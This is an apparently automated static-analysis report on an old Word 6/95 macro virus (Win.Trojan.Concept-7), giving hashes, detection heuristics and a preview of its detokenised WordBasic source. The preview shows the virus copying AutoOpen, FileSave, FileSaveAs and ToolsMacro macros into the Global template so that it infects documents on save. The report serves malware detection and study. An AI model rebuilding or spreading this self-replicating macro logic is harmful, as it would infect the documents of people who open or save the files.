Win.Trojan.Concept-7 — Office (OLE) malware analysis

Static analysis result for SHA-256 52e1d7a457cc0dbf…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-14
MD5: 7d9d58f926506d7987b7350ac0b2d062 SHA-1: 2d1dffb7cd7dae710fbe2d53b52ce0c440fec6b5 SHA-256: 52e1d7a457cc0dbff2a38fd8b39b5aa3aecd2730eac710411b2531ce0f351767
102 Risk Score

Malware Insights

Win.Trojan.Concept-7 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy macro virus, specifically identified as "Win.Trojan.Concept-7" by ClamAV and containing "RSN MACRO VIRUS" markers. The document body contains VBA-like code snippets and references to macro functions such as AutoOpen, indicating it attempts to execute malicious code upon opening. This suggests a historical document infection vector.

Heuristics 3

  • ClamAV: Win.Trojan.Concept-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Concept-7
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1535 bytes
SHA-256: 21298ad95a35fc75061f1e89ab1851b1e7bf6295c5beb2a42fa100d0be0319c3
Preview script
First 1,000 lines of the extracted script
, = * ,   ,  
29797 ,         =
MAIN
, - * Abort
iMacroCount = @cmd80b7 0 , 0
REM see if we're already installed
i = 1 iMacroCount
i
bInstalled bTooMuchTrouble
iWW6IInstance = @cmd8006 @cmd814d "WW6Infector"
sMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 sMacro$ , "Global:AAAAAA"
sMacro$ = sMe$ = ":AAAAAB"
@cmd80c2 sMacro$ , "Global:FileSaveAs"
sMacro$ = sMe$ = ":AAAAAC"
@cmd80c2 sMacro$ , "Global:FileSave"
sMacro$ = sMe$ = ":AAAAAD"
@cmd80c2 sMacro$ , "Global:ToolsMacro"
@cmd8046 "WW6I" , @cmd8007 iWW6IInstance = 1
MAIN
REM this becomes the FileSaveAs for the global template
dlg @cmd0054
, - * bail
dlg
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:AAAAAA" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAB"
@cmd80c2 "Global:FileSaveAs" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAC"
@cmd80c2 "Global:FileSave" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAD"
@cmd80c2 "Global:ToolsMacro" , sTMacro$
@cmd0054 dlg
* Done
25625 Err 102
@cmd0054 dlg
MAIN
Fname$ = @cmd8008 @cmd8009 @cmd8025 , 12 , 8
Fname$ = "Document" Fname$ = "Template" * Bail
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:AAAAAA" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAB"
@cmd80c2 "Global:FileSaveAs" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAC"
@cmd80c2 "Global:FileSave" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAD"
@cmd80c2 "Global:ToolsMacro" , sTMacro$
@cmd0054 = @cmd8025 , = 1
* Done
25625 Err 102
dlg @cmd0054
dlg
, - * Done
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:AAAAAA" , sTMacro$
sTMacro$

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